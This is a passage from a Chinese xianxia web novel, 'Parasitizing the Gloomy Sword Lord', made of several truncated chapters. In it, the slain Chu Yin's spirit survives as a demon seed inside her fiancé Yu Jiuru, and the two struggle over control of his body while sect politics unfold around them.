《寄生阴郁剑君后》 1. 初茵 《寄生阴郁剑君后》全本免费阅读 痛! 穿心而过的钝痛让她恢复了几分神志。 湮灭窒息的灼热感褪去,透心而过的冰凉让她瞬间清醒。 清亮的剑光反射进她的眼瞳里,她眨了眨眼,一直蒙蔽眼前的黑雾渐渐散开,露出一双冰冷的眼眸。 这是她第二次见到郁九如,他脸上挂着一如既往地矜傲。 苍白的脸,细高的眉骨,苛刻冷漠的目光。 他似乎认出了眼前之人,原本漠然的视线凝滞片刻,眉头微不可查地皱了一下。 薄唇微抿,他倏然收剑,剑尖在空中转出几滴血红色。 初茵张了张口,却说不出话,她的身体失去支撑,无力地向后倒去。 天空灰蒙蒙的被枯枝分割成几块,一条玄黑银纹的发带从眼前一闪而过,在空中勾出一个清冷的弧度。 “尸体带走。” 青年的声音毫无温度,像是从弥漫的黑暗之中传来。 * 初茵没想到会被自己的未婚夫给杀了。 她想到之前放过的大话,说昆仑想要解除婚约可以,让郁九如亲自来求她。 没想到,他竟然真的来亲手解决自己。 恍惚中像是在做一个梦,她看到自己面前站着一个小修士,这修士的发式有些奇怪,头发编了细细的两条辫子,倒像是南疆的蛊师。 这些蛊师竟还敢在大庭广众之下出现,这是不怕死了? 初茵晕乎乎地“盯着”他,看到他神情忧虑,嘴巴一张一合,像是在说什么。 “君上,此次共有263具魔人的尸体被带回来,已经通知附近的宗门认领,昆仑弟子有13人确认染上魔种。” 昆仑一脉的至高点——玉阙宫内,昆延照例上报此次剿魔的战况。 涉及到魔种的事,郁九如一定会细细过问,更何况这次还有这么多昆仑弟子。 一旦染上魔种,几乎不可能再治愈,短则几日,那些弟子就会变成没有意识的魔人。 青年走下台阶,他一袭昆仑银纹玄袍,略微卷曲的长发被金冠束起,露出俊美如神祇的一张脸。 他站在台阶上,垂下眼睨着昆延,像是看穿了他的心思。 “名册。” 听到这熟悉的声音,初茵察觉到一丝不对劲。 她努力回想自己在哪听过这个声音,发现脑海里都是一片混乱的红色,唯一有记忆的是冰冷、长剑、郁九如的脸。 郁九如? 她一个激灵,突然意识到,自己耳边这个熟悉的声音不就是郁九如? 现在这是在哪里? 为什么能听到他的话? 初茵还在惊疑不定,面前的小弟子却一脸紧张地看着她,将一份名册递上来。 她的视线里出现了一只手,苍白、修长、有力——这是一只男人的手。 郁九如接过名册,垂眸扫了一眼,嘴角勾起一抹冷笑,“卫翎,他当时没和你们在一起?” “当时……卫师弟和合欢宗那个女子在一起,似乎是叫钟瑶。” 昆延见掩饰不过,干脆全盘托出。 卫师弟身为君上唯一的弟子,却被一个合欢宗的女子蛊惑心智,还为了她几乎送命。 这般付出,但却没有得到人家一个谢字。 就连他一个外人都为他感到不值。 “这不稀奇,合欢宗向来如此。至于卫翎,”将名单扔下,郁九如语气平淡,“让他进焱天境。” 初茵处于连续震惊之中,有自己这个前车之鉴,没想到师妹会去勾搭昆仑弟子。 更让她震惊的是,郁九如竟然薄情到如此地步,轻而易举就要让他唯一的徒弟去死。 焱天境是对付魔种最有效的方法,只是用这种方法,无异于将人置身于丹炉之中,九死一生。 昆延脸上也露出一丝不忍,但想到这是唯一的解法,他只能低头应是。 “通知虞州的宗门氏族来认尸,最迟后天……魔尸全部处理干净。” 说到此处,郁九如按住胸口,他脸色微变,快速查探了一下周身经脉的运转。 初茵浑身一冷,有一种被什么人窥视的感觉。 “那,”昆延犹豫了一下,还是问道:“那位初姑娘,是通知合欢宗的人,还是留在这里……” 这位可是剑君的未婚妻,婚约没有取消,处理起来便有些麻烦。 昆延低头等了一会,没听到后话,再抬头时,却见剑君单手捏诀,长眸微敛,神色多了几分莫测。 “留下她的骨灰。” 昆延愣了一下,君上向来厌恶合欢宗,现在竟要留下那女子的骨灰? 莫非,他还是在意的? 他偷偷瞟了一眼,剑君如往常一般,玄色衣袍裹得严丝合缝,庄重凛然,越发衬得那张年轻的面孔苍白而持重。 也是,像是剑君这样孤傲的性格,即便是心中苦闷想必也不会显露出来。 昆延这样想着,果然见他面色愈发难看,原本冷厉的眸子似乎也染上几丝痛苦。 他不由安慰,“初姑娘既然已经成了魔人,死了也是早日解脱。况且剑君您也不用退婚了。最近,长老们又拟定了……” 郁九如听他说了这么多,心中已然不耐,登时眉眼凌厉,“出去!” 他在昆仑积威甚重,即便是不说话,一身煞气也吓得人不敢呼吸。 昆延被吓得抖了一下,没说出口的安慰都化作云烟,不敢再多做一刻停留。 殿内空无一人,寒风灌入大殿,拂乱满殿帷幔。 郁九如转过身,高挑的身影向内殿走去,绣有昆仑云纹的袖袍拂过白玉地阶,悄然无息。 他的行动一如往常,只是行走之间的步伐有些迟缓。 布置好结界后,他盘腿而坐,调息进入内景。 不出所料,一团陌生的黑色气息正盘旋在丹田附近,体内运转的灵力在进入丹田的位置后,便被此气息吸收了七八成。 郁氏的血脉天生克制魔种,竟然有魔种能沾上他的身? 他快速调动灵力,将丹田处的这一抹不属于自己的气息排除,然后用内力拧成细刃,片刻后,那抹奇怪的气息被绞成了细碎的小块。 那缕黑色的气息虽成了碎片,但却并没有就此消失,而是游动着很快又凝结在了一起。 就在他思忖调息之时,只见一抹气息快速凝结成团,向自己的丹田的气海游去。 他赶紧调整内息,将那抹黑气困住。 “怎么动不了?” 一个女子的声音暮然出现在脑海,郁九如心中不由骇然,神识稍有松懈,那一抹气息立刻挣脱开桎梏,冲到了丹田气海之中。 什么东西? 他再次将那一团东西从自己的气海之中提取出来,以内力将它困住。 那团黑如柳絮的气息像是被捏住七寸的蛇,轻飘飘的挣扎。 “你是什么?”他问。 就在刚才,初茵突然被什么东西“拽”出了混沌状态,她环视周围,周围是一条条的光柱,虽然密集分布,但都通向一个圆形的光球。 这个场景,所有修士内视时都会看到——她在郁九如的身体里! 自己不是死了吗?元神竟然没有就此散去? 她想起自己看过的夺舍的传闻,难不成,自己现在是冤魂附体到了他身上? 突然,一个白色的小人出现在自己面前,它像是白雾凝结成的一般,看不清五官,手里还握着一把小剑。 这是什么东西? 不对!怎么这么像……师父给她炫耀过的元婴小人? “魔种。”小人断定了她的身份。 就在她还在疑惑的当口,她听到一声熟悉的冷哼,随即,就是接连不断的攻击。 她躲闪不及,被白色小人拿剑刺了个对穿,但奇怪的是,她没有任何感觉。 经过一通折腾后,她发现了,这个小人杀不了她。 最后,白色的小人如同烟 2. 骨灰 《寄生阴郁剑君后》全本免费阅读 奕如月是沧澜宗的弟子。 她的“霜月剑法”对付魔人有奇效,自她出师之后,便撑起了西南一隅的安全。 不久前,虞州一代出现魔渊,沧澜宗集结各门派的势力联合围剿魔人,领头人就是奕如月。 只是此次剿魔行动损失惨重,失踪者不计其数,奕如月也消失不见了,至今没有消息。 果然,这个名字还是有些分量的,郁九如听她说出奕如月的名字后,立刻就离开了焱天镜,就连说话也客气了许多。 他不但离开了焱天镜,还在丹田的一角给她指了一个位置,示意她可以在那个角落。 初茵飘过去感受了一下,虽然没有丹田之内的灵气充沛,但勉强能吸收一些多余的。 “如何证明你是奕如月?” 相较于自己合欢宗女修的身份,这个身份显然更能为自己争夺生机。 “我师父是水镜先生,我师门共四人,师弟易茗……” “不必,”郁九如打断她未说出口的话,“你说的这些不难打听,也不能证明你的身份。” 初茵也知道他没那么容易糊弄,尤其自己冒用的又是虞州一带极负盛名的身份。 于是她问:“你想如何证明?找我师弟易茗过来问?” 郁九如阖上眼,看着丹田那一团跃动的黑色魔种,缓缓开口,“奕姑娘可还记得,我们上一次见面是在什么时候。” “宗门大比。”初茵立刻道。 宗门大比她没有参加,但阿月参加了,回来之后还劝她尽快解除婚约。 郁九如拿起桌上的茶盏,平静问:“我们有私下见面吗?” 初茵镇定回道:“我们没有私下见面,但休息的间隙,我们交流了一下剑术。” “交流剑术?”郁九如想到了那一次的偷袭,问:“那你当时无故发难原因是什么?” 原因? 原因当然是你当众给我戴绿帽。 宗门大比上,叶氏族女叶挽棠大出风头,当众觉醒了水火双灵根,不过可惜使用生疏,险些走火入魔。 多亏昆仑少主郁九如破开阵法,英雄救美,事后更是以秘籍相赠。 当时大比还没有结束,自己未婚夫的“风流韵事”就传到了虞州。 “怎么,编不出来?”郁九如的语气带着淡淡的讥讽。 倒不是编不出来,只是初茵有自己的考量,阿月少言寡语,不可能说这么多废话,所以必然不会说出实情。 “只是一个切磋,算不上故意发难。”她道。 如果是奕如月,她一定会这么说。 郁九如沉默了,倒不是因为她的说辞有多么完美,而恰恰是那些缺憾,让他无法确定她到底是不是奕如月。 两人见面的次数很少,碰面也不过点头之交,而上次的宗门大比,他十分确定,当时只有他们两人在场。 而奕如月性格生冷刚硬,也不像是会巨细无遗和别人交代的类型。 他哪里知道,虞州人人敬畏的“霜月剑主”是初茵的好友。奕如月对别人寡言少语,但和初茵在一起,两人能聊个三天三夜。 “我就是想试试郁九如,看他有什么本事对你挑三拣四,可惜刚出手被发现了。” “他不好对付,你是不是输了?”初茵知道她好强的脾气,哪怕赢了一招,她也一定会说出来。 “输了一招而已。”她撇撇嘴,很不服气的样子。 “噢,”初茵点点头,故意拖长音调,“那就是一招都没打过。” …… 回想往事,初茵思维有些恍惚。 她之前为了找失踪的奕如月,寻到魔渊附近就失去了意识。 想必那时她就染上了魔种,再次清醒过来,竟有恍如隔世之感。 “现在是什么时间?” “癸卯年三月十七。” 竟然已经过去了两个月,也就是说她失去意识至少两个月了。 她想问问合欢宗的情况,但又不能直接开口,只能问:“虞州的情况怎么样?” 听她这么问,郁九如倒是耐心回答,“此次魔渊暴动,共剿灭263具魔人的尸体,暂时没发现云岚宗弟子。” 初茵想了想,觉得谨慎起见,自己还是不要说太多话。 “你情况很特殊,无法判断是不是出现新变种,接下来的很多事都需要你配合。” “配合什么?” “你想到任何事情,出现任何异样,都要告诉我。” 话都已经说到这个份上了,就算是为了自己,她也不可能拒绝。 “我会尽量配合你。”初茵想了想,又道:“不过你有任何情报,也要告诉我,我也想知道到底发生了什么。” “可以。” 他答应得很爽快。 初茵觉得郁九如太敏锐,和这样的人交流,还是要少说话。 她又来到了他灵府的位置,这里氤氲着磅礴的灵力,她甚至觉得这浓度抵得上虞州的主灵脉。 意识到这点,她心里酸溜溜的。 她修为不高,最高也就是凝神期,距离金丹也有很长很长一段距离。 “我需要休息一下。”出于礼貌,她开口问了一下。 郁九如一直观察着自己体内的“魔气”,自然也猜到她打算做什么。 “可以,不过你只能在这。” 白色的元婴小人再次出现,给她指了丹田边角的一个位置。 小气鬼!初茵暗骂一声,小心翼翼地蹭过去。 放松的瞬间,她觉得身体轻盈自由,就像是一滩流动的水,在平坦的地面上肆意流动。 这种感觉很其妙,像做了黑甜的一场梦,她觉得自己的身体得到了前所未有的舒展。 * 不知过了多久,初茵发现了不对劲。 她觉得浑身燥热,简直像是被放在炭火上炙烤,她终于忍不住睁开沉重的眼皮。 白茫茫的光线有些刺眼,眼前出现一根白玉悬梁,其上有鎏金纹饰,看起来十分贵重。 不对劲!她们合欢宗可没这么有钱。 就在她下意识完成了起身动作时,才发现,自己竟然控制了郁九如的身体? 她还没来得及惊奇,烈火灼心般的痛就让她难受得什么都顾不得想,滚到了地上。 她浑身无力,像是拖着沉重的铠甲,艰难向门的方向移动。 这里是玉阙宫,昆仑的制高点,外面多的是冰雪。 该死!这是什么情况? 一寸一寸,她终于爬到门外。 推开门,寒风夹杂着冰雪扑面袭来,她呼吸困难,冰凉的空气瞬间堵住了口鼻。 最终,她一头扎进了雪里。 热度并没有就此散去,不过相较于之前,的确是好了很多。 初茵觉得脑子涨涨的,像是要爆炸了一般。 不知多久,她眼前一黑,失去了知觉。 再次醒来,她的耳边是叽叽喳喳的喧哗。 “君上,我必须留在玉阙宫,您晚上需要人照看,这也是长老们的意思。” 她的眼前出现 3. 道侣 《寄生阴郁剑君后》全本免费阅读 初茵有些无语。 这人三番两次下帖子,说要和自己取消婚约!现在自己死了,在他口中两人倒是成了道侣。 她假装疑惑地道:“郁道友,不是一直有传闻说您要解除婚约?何时又有了道侣?” 郁九如语气冷淡,“你也说了,只是传闻。” “那也不对啊,两人没有合契,便不是道侣。”初茵忍不住道,“况且人都死了,尸体交还给宗门也是理所应当。” 郁九如唇角弯了下,带着几分嘲讽,“我倒是不这么认为,她迟迟不愿解除婚约,想来是更愿意在昆仑。” 这是怪她没解除婚约?初茵暗暗撇嘴,看不出来这人还挺记仇。 “死者为大,都这个时候了,剑君何必和一个死人计较。” “她不过是一名合欢宗女子,奕姑娘和她有接触?” 这话初茵听得很不舒服,就好像奕如月不该和合欢宗的人有接触。 “点头之交。” 青年走出大殿,语气漠然,“既然如此,奕姑娘应该为她开心,在这里总是比合欢宗要好得多。” 初茵心中冷笑,她虽然不愿意解除婚约,但也不意味着她喜欢昆仑。 天下无人不知郁九如讨厌合欢宗,而她之所以不解除婚约,就是为了恶心昆仑。 她爹当初被昆仑害惨了,落得个死无全尸的下落。 他死前用最后一点价值换了这个婚约,十几年来,昆仑一直没有联系过自己,直到郁九如到了可以婚配的年龄,他们才对外宣布这个婚约。 很明显,他们瞧不上她这样一个孤女,她也瞧不上昆仑。 而且自己在合欢宗,要说绿帽子,自己也没有少给郁九如戴。 只不过现在的情况还是出乎她的预料。 不说她尸骨未寒,就是郁九如自己也是有伤在身,一听到叶挽棠要见他,就这么等不及? “剑君,白羽到了。” 玉阙宫外站着一只约一人高的仙鹤,那只鹤仰天长唳两声,像是在打招呼。 “灵韵仙子在流云峰,剑君身体不适,还是乘仙鹤去吧。” 对于去看叶挽棠这件事,昆延很上心。 这位叶家族女不但出生高贵,而且为人清雅绝尘,又一直以灵韵仙子的名号行走于世间。如果不是因为剑君有婚约在身,两人无疑是天造地设的一对。 不过那个合欢宗女子已经死了,现在一切都好了。 昆延打量起了自家的君上。 郁九如身量极高,一袭玄色道服,衬得他肤色冷白,眉眼幽邃。衣袍上银纹流转,绣着昆仑的巍峨图徽,自带威仪。 他以金冠束发,黑色发带垂落,随着有些卷曲弧度的黑色长发轻轻摆动。 不错!那些女修说没错,和自己相比,南疆血脉让君上更出众了。 昆延心里泛起了一丝淡淡的忧愁。 “你在发什么愣?”郁九如拧着眉,语气不悦。 “没有没有。” 郁九如踏着白鹤,飞得并不算快,初茵也趁机欣赏了一番昆仑的风景。 据说当年魔种肆虐,七宗十三派被逼至绝境,躲到昆仑这样的至寒之地才勉强保下宗门。 此后数百年,昆仑七十二峰各司其职,但都只围绕“魔种”一事奔波。 “昆仑这么大,好像没什么人?”初茵奇道。 “昆仑只收水、火两种单灵根弟子。”郁九如解释。 初茵才想起为了抵御魔种,昆仑对弟子灵根要求苛刻。 而自己之所以能和这位道君有婚约,就是因为自己特殊的水火双灵根。修真界一直有传言,拥有相克属性的双灵根女子,生出的孩子必定是其中之一的单灵根。 她像是想到什么,故意道:“这不是巧了!灵韵仙子就是水火双灵根。” “白羽!” 郁九如突然低斥一句,脚下的坐骑拍了拍翅膀。 郁九如问:“你和叶挽棠很熟?” “点头之交。” 叶挽棠是叶氏嫡女,家族是挖灵石的,理所应当,叶家在虞州附近很有分量。 初茵原本和她没有什么交集,直到昆仑来人找她,把她是剑君未婚妻的事情抖出来,她才入了这位大小姐的眼。 叶家财大气粗,时常会以天材地宝为奖励,邀请附近各门派弟子比试交流。 初茵第一次被邀请去的时候,便被人当场比较容貌,比较的对象,就是这位叶挽棠。 她们说她论相貌庸俗,举止轻浮,实在配不上昆仑剑君。 当时的叶挽棠还是单系水灵跟,她修炼的是夭水之法,这种修炼方法,就是将自身作为炉鼎,实战能力不强,但却可以让道侣进步飞速。 可能她确实没有什么修行天赋,所以才会另辟蹊径选择这样的道路。 不过也因为这个原因,虞州最受欢迎的女修就是她。 * 流云殿是昆仑招待贵客的场所,这里施加了几层阵法,从外面看来,金光闪闪,进去之后会发现,这里坐落着一个个的小院落。 院内有两人,一人是叶挽棠,另一人是昆仑的首座苏溪。 郁九如受伤,很多事情就都压到了苏溪头上。 原本有关于魔种的事本是和他没有相关,现在也要由他出面。 现在的问题是,他提出的方案并不能让这位远道而来的客人满意,她像是有数不完的疑虑。 “话虽如此,可我心里还是有些不安。”女子幽幽叹了一口气。 苏溪也忍不住叹了一口气,他抬手,“叶姑娘有什么不解,请说。” 他又翻来覆去的解释了几个问题。 苏溪相信,若是郁九如在,绝不会出现这样的问题。 这一方面是对他的不信任,另一方面,这位灵韵仙子远道而来,目的也不是为了见自己。 所以当他远远看到那个乘风踏鹤的身影时,他骤然站起身,“快看,人来了。” 郁九如扫了一眼迎上来的两人,目光看向苏溪,“出什么事了。” 他天生眉骨高,五官深邃,不苟言笑时,肃杀萧森的压迫感叫人心底直打怵。 苏溪僵硬笑了一下,“还是请叶姑娘和你说吧。” 今日叶挽棠的穿着出乎意料的简单,一袭白色衣裙,上面用金线绣了符文,又用羽毛装饰,看起来清逸脱俗。 她神态忧愁,看到郁九如来了,也只是缓步上前,微微点头。 “君上,还请您出手救虞州。” 初茵本来抱着看热闹的心态,但是一听她说虞州,立刻拉紧了心中的弦。 郁九如语气凝重,“虞州怎么了?” “虞州,又出现了一个新 4. 占据 《寄生阴郁剑君后》全本免费阅读 “你到底是谁?” 初茵沉默了。 她的第一反应是郁九如在诈她,但她很快意识到,这个可能性很小。 奕如月,灵韵仙子。 知道这个秘密的人很少,能把这两个名字联系在一起,绝非偶然。 她没料到奕如月竟然和他说了这件事,更没有想到,当时的奕如月竟然没和自己说过。 为什么? 她想不通,就没办法回答郁九如的问题。 又或者说,她的沉默本身就代表了一种回答。 “今日之前,我尚且还怀有一丝希望,但我现在确定,你绝不可能是奕如月。” 初茵的面前出现了焱天镜的入口。 里面传来仿若厉鬼的哭嚎声。 “师兄!求求你,我不要进焱天境!杀了我吧!我宁愿死!求你了,卫师兄!杀了我!” 进入大殿,她的眼前出现一张张涕泗横流的脸。 那名修士很年轻,他死死拽住面前的铁栏杆,裸露出的胳膊上青黑交加,明显染上魔种有一段时间了。 魔种的潜伏期不定,最短几天,最长可以到一个月。 早期被寄生的修士完全看不出异常,甚至可以通过检测的灵器。 但随着时间的推移,该有的迹象终究会出现。 “师尊,你怎么来了?” 卫翎看到郁九如,忙迎上前。 作为郁九如座下唯一的弟子,他并不能得到什么优待,相反会因为自己的身份受到更严苛的对待。 就像是现在,若是寻常弟子,君上此刻会点头回应。 可此刻因为是自己,郁九如只是冷冷一瞥,什么都没说就让他忐忑不安。 见到他,郁九如的眸光陡然冰冷,“你还没进焱天镜?” 卫翎僵硬回道:“回师尊,弟子还没有出现迹象,长老们说可以再等等。” 进去之后九死一生,不到万不得已,没人会进去。 郁九如眉眼间尽是冰冷,“等什么,等那个合欢宗的妖女来找你?” 合欢宗妖女? 原本初茵神色恍惚,此刻听到了这话,骤然提高了注意力。 “师尊,瑶瑶不是那样的人。” 瑶瑶? 初茵愕然地打量面前的这个弟子,他半抬着头,眉眼间露出几分英气,脸上还完全保有剑修清澈的愚蠢。 这个浓眉大眼的家伙,不会就是钟瑶挂在嘴上对她死缠烂打的修士吧? 这个消息实在是太出乎预料,以至于初茵都忘了自己马上要面临的情况。 郁九如看了自己的徒弟一眼,没有再说话。 他的表情变得沉寂冷峻,森寒的眸子看向焱天镜内,阵法的中央是一团业火,即便空无一物,火焰也不会熄灭。 “打开阵法。” 初茵回过神,发现火光扑面而来。 郁九如已经走入焱天镜的阵法内。 “别进去!”她惊愕的呼喊声被剧痛打断。 郁九如的命令没有人敢违背,所以哪怕此刻他只身一人走进火海,也没有一个人敢制止这一切。 卫翎联系几位长老,如果说这里谁说话还有一点分量的话,那就只能是长老们。 他看向阵法,君上站在火海之中,像是一座被火舌舔舐的雕像一般纹丝不动。 初茵发现阻止不了他之后,便不再哀求。 她泄愤似的在他的身体里乱串,扰乱他的灵力流动,撞击他封闭的丹田。 她使出浑身解数,剧烈的痛苦让她觉得灵魂都在颤抖。 “别做徒劳的挣扎。” 郁九如语调平稳,声音冷傲如常,他似乎丝毫没受到影响。 初茵自然不相信他的话,仍旧在他的体内乱窜。 “你是什么东西,为何会知道奕如月的事?” “我是什么东西?”初茵咬牙切齿的声音传来,“我是初茵!郁九如,我被你所杀,所以才附身到你身上寻仇。” “一派胡言!” 郁九如眉头蹙起,对于她的身份,他有大概的想法,但这个回答着实在他意料之外。 “我胡言乱语?难道不是你杀的我?”初茵因为痛苦,几乎是喊出了声,“是你这个背信弃义的小人!” 感觉到他体内的灵力紊乱,她也不确定是不是自己的话起了作用,但无论如何,她都不会放过这个报仇的好机会。 “郁九如,你逼迫我解除婚约,亲手杀了道侣,现在未婚妻尸骨未寒,便想再娶,简直是无耻至极。” “我没有——” 他话没有说出口,便被初茵打断,“像你这样的,无情无信无耻的小人,竟然还有脸嫌弃合欢宗!” “你以为自己很高贵?倒贴当炉鼎我都嫌脏!” “闭嘴!” 从没有人敢骂他,更别说是提出让他当“炉鼎”这样的骂法。 痛苦无法缓解,没有素质的痛骂就成了唯一疏解的方法,尤其是每一句骂声都有反馈,这极大地缓解了她的疼痛。 初茵又想到了另一件事,“对了!你还有南疆血统,我倒想问问,你的出身又比合欢宫高在哪里?” 魔种事件后,南疆的巫人几乎是人人喊打,比魔族都不如。 “你……” 郁九如气急攻心,他想要说什么,话还没开口,便吐出一口血,昏倒在地上。 初茵心中还未来得及痛快,眼前便是一黑,也失去了知觉。 没人知道发生了什么,等他们回过神来的时候,发现自家剑君倒下了。 剩下的时间,他们都在忙着停止焱天镜的运转,熄灭的第一时间,就是将脸色煞白的郁九如从阵法里拖出来。 青年双眸紧闭,脸上没有一丁点血色。 余长老伸手探了探他的脉,一脸疑惑,“气脉倒转,倒也不像是痋毒发作。” 没有人知道发生了什么,也没人知道他为什么要进焱天镜。 “可能病情又严重了,依我看,现在就让他进入休眠吧。” “不和他商量吗?” “现在还有什么必要商量。” …… 初茵以为自己会死,但没想到,她再次睁开眼时,天已经大亮了。 光线的照射下,她能看清梁柱上雕刻的山水,鎏金为料,每一刀力度的深浅都清晰可见。 她缓缓抬起手,迎上光线,这只手很大,肤色苍白,手指骨骼分明,曲起时有微微凸起的青筋,这是一个男人的手。 是郁九如的身体。 今天和之前不一样,这一次是白天。 初茵知道魔种的特性,身染魔种的人,不久就会失去理智,变成行尸走肉。 像自己现在这个样子,明显不符合魔种的特性,反倒更像是夺舍。 不过,郁九如呢? 她闭上眼,感受着体内的气息,身体的灵力全部消失了,他的丹田处被封印了。 氤氲的气海外,一个拿着剑的小白人盘腿打坐,像个小玉雕,而他身上像是染上了血丝一般,弥漫着红色的气息。 这是什么? 初茵凑过去,想用自己的“触手”挑一缕看看,但却发现这东西似是在他的元婴内游移,根本没法碰到。 “喂?” 她叫了两声发现小人没有反应。 封闭了丹田灵府,倒像是在闭关。 不过眼下,她也管不了这么多了,最好他永远醒不过来,那自己就是这具身体的主人了。 昆延一直守在门外,听到里面有动静,他推开门,正开到自家剑君从榻上起身。 他不可置信道:“君上,你怎么醒了?药没效果了!” 通常来说,剑君喝了这个药,应该会睡上半个月天。 初茵点点头,表情冷淡道:“这次略有些不同,无碍。” 昆延:“今日就是火祭日,君上去观礼吗?” 火祭日? 没错,初茵突然想起来,今天是魔尸火化的日子。 她立刻点头,“去看 5. 源蛊 《寄生阴郁剑君后》全本免费阅读 初茵回到玉阙宫。 空荡荡的大殿里,她独自一人站在镜子前,打量“自己”的样子。 像是肌肉记忆,镜中青年仍然板着脸,一本正经。浓密的长睫下,是那双深邃苛刻的眸子,鼻梁高挺得有些傲慢,薄唇紧抿,拉出平直的弧度。 这张脸虽然还不错,但却不是自己喜欢的类型。 “你果然是在骗我!” 丹田处,原本闭上眼的小白人不知何时睁开眼,他握着剑指向魔种。 “你醒了?”初茵惊愕。 可他既然醒了,为什么没有拿到身体的控制权。 莫非,自己借尸还魂真的成功了? 身体内,小人拿着剑刺过来,魔种被捅了一个对穿,接着断成了两截,缓缓落地。 但很快,断成两截的黑气抖了抖,随即重新飞起,迅速合二为一,汇聚成一团。 “看来,你没办法对付我。” 初茵很快作出了判断。 如果他真的有办法对付自己,又怎么会三番两次地去焱天镜,最后不但没有弄死自己,反而把自己搞成这样。 想到这里,一种大仇得报的畅快感席卷了脑海。 “郁九如,你现在算是孤魂野鬼吗?” 发现自己没有办法控制身体之后,那个元婴小人又重新回到了丹田位置,闭眼不语,呈抱元守一之姿。 初茵当然知道他不会放弃,说不定现在他已经找到了什么方法。 “君上,您休息了吗?”昆延在门外小声问。 今日君上的脾气有些古怪,还让自己给他找了一面大镜子,这可是以前从没有过的情况。 “有什么事?” 初茵自然没有睡,尽管精神上已经很疲惫了,但她现在却连眼皮都不敢合上。 她害怕只要一闭上眼,就会失去身体的控制力。 昆延:“卫翎就在门外,他想要见您。” 卫翎? 郁九如那个浓眉大眼的徒弟? “让他进来。” 门被推开了一条缝隙。 与此同时,房间内的明珠同时发出莹莹光辉。 卫翎木着一张脸,从门缝里侧身挤进来。 进来的少年低眉耷眼,连头都不敢抬起来,“师尊。” 初茵看着他,眼睛微微眯起。 卫翎面如死灰,而在他的胸口,盘桓着一团黑色的气息。 “师尊,对不起!”卫翎跪在地上,恭恭敬敬磕了两个头,“我辜负了您,也辜负了父亲。” 随着他起身,黑色的气息像是火焰,随着他的每一次的呼吸韵动。 莫名的熟悉感,让她有些入迷。 这就是魔种?扎根在灵魂上的死亡之花? 她几乎立刻就明白了,这个东西,和自己一样的存在。 随即,她的脑海里冒出一个疑问,它也像自己一样吗?有思想?能沟通? 初茵招手,“你离近点。” 卫翎本以为自己会被赶出去,毕竟自己没有听他的话,染上魔种,还成了宗门之耻。 但没想到,师尊竟然这么和颜悦色。 是因为自己要死了吗? 莹莹的灯光下,玄衣青年坐在床沿,他长发披在身后,五官俊美,完美得像是一个神祇。 他想到很久以前,他爹让他选一个师父,他一眼就选中了当时在阖眼假寐的少年。 当时,他觉得他是神仙。 神仙,都是很好说话的吧? 可在那双眼睛睁开之后,对上那瞳孔里的满目煞气,他吓得后仰着坐到了地上。 这些年,师尊从没有对自己满意过。 这次,大概是自己快死了。 酸涩盈上眼眶,他几乎没有犹豫,立刻膝行过去。 随着他越走越近,那朵黑色的火苗像是被浇上油的烈火,轰然旺盛起来。 在他停下后,那些边缘的黑气竟然也像是看到了她一样,努力伸长自己的黑色触手,像是要和她触碰。 初茵觉得挺稀奇的,她像是感应到了什么,伸出了手。 卫翎一把抱住她的衣袖,哽咽着道歉,“师尊,我知道错了。” 黑色“触手”碰到她的瞬间,初茵觉得灵魂都发出一震,像是有什么东西融入了自己,眼前的画面轻轻晃动。 等她回过神,看着哭得稀里哗啦的小修士,突然发现他身上的黑气已经没有了。 “你……”她拖着被越拽越紧的长袖,犹豫问:“怎么样?” “师尊,你放了阿瑶吧。”卫翎红着眼,“她怀了我的孩子。” 初茵脑中发出“嗡”一声巨响,如遭雷击,愣在当场。 “你说什么?”她缓缓开口,一字一顿。 卫翎垂着头,表情痛苦,“师尊,我愿意离开昆仑,和她一起。” 初茵眼前黑了一瞬。 她怀疑自己出现了幻觉,不然眼前这个小修士的话她怎么听不明白? “师尊,她还在狱中,您放她离开吧。” 耳边嗡嗡响,她盯着面前这个陌生的小弟子,努力把他和自己的师妹联系起来。 “卫翎!” 一道声音冰冷如寒霜的声音骤然填满了脑海。 初茵忍不住打了一个激灵,发现郁九如不知何时已经醒来了。 “让他离开昆仑。” 郁九如似乎已经怒到了极点,竟然对初茵发出了命令。 是了,这小修士是郁九如的徒弟,唯一的徒弟却喜欢上一个合欢宗的女子,他自然是怒不可遏。 若钟瑶不是自己的师妹,她说不定会拍手称快,看郁九如的笑话。 可现在的问题是,那人是自己的师妹。 郁九如有什么好生气的,她才是应该生气的那个。 初茵双手握拳,强忍着怒意:“说清楚,到底发生了什么?” “还是上次的事,弟子误以为她心怀不轨,跟踪她进了密林,却误入了蛊师的陷阱,中了情花之毒。” 情花之毒?即便初茵对南疆并不了解,也听说过这种毒。 “那……孩子呢?” “孩子,”卫翎垂下头,喃喃道,“应该就是那个时候的。” 初茵深吸一口气,如果不是顾及现在的身份,她甚至想要去找钟瑶问个清楚。 “传我的令,放了合欢宗的人,让他们离开昆仑。” 卫翎愣了一下,反应过来之后,叩首道:“多谢师尊。” 他跪得笔直,心里已经有了准备,想必下一步,师尊就是将自己也赶出昆仑了。 可他等了许久,却没有得到下一步的指示。 初茵并不打算将郁九如的这个徒弟赶出去,真这么做,岂不是害了钟瑶。 她冷冷看着他,“你先回去。” 卫翎已经做好了被逐出师门的准备,没想到会是这样的处理结果。 “师尊……” 初茵看他就烦,她 6. 反复 《寄生阴郁剑君后》全本免费阅读 初茵很想说自己不在乎。 她都已经是孤魂野鬼了,还有什么可在乎的呢? 可是她又不敢说自己真的不在乎,她怕郁九如真的会伤害他们两人。 初茵:“你真是卑鄙无耻。” 几乎是同时,岑楼也骂出声音来,“郁九如!你这个言而无信的卑鄙小人!” 两人还没有跑出多远,就被昆仑的弟子拦住了。 说了放人,结果半途又被抓回去,这简直像是在耍他们玩。 郁九如面无表情,他向前走了两步,来到钟瑶面前,垂眸看着她。 这个女修长相清丽,装扮却十分普通,发髻用银钗挽在头顶,垂下的耳发盖住了脸颊,衬得一双眸子乌黑亮眼。 此刻那双眼睛正恶狠狠瞪着自己,像是恨不得来咬上自己一口。 初茵警惕,“你要做什么?” 郁九如没有理会她,开口问:“你就是钟瑶?” “喊你姑奶奶做什么!” 钟瑶瞪着他,像是一个毫不畏惧的小兽。 初茵:…… 钟师妹的外表虽然看似文弱,但却是一个十分有脾气的人,尤其是对她不喜欢的人。 盯了她一会,郁九如却似乎并不生气。 他伸出手,那几个弟子立刻将钟瑶手中的骨灰坛子抢过来。 “那是我师姐!”钟瑶怒道。 郁九如垂眸接过骨灰坛,收进袖中,淡声道:“你师姐想留在这。” 钟瑶咬着牙:“你胡说!” “把他们押回牢里。” 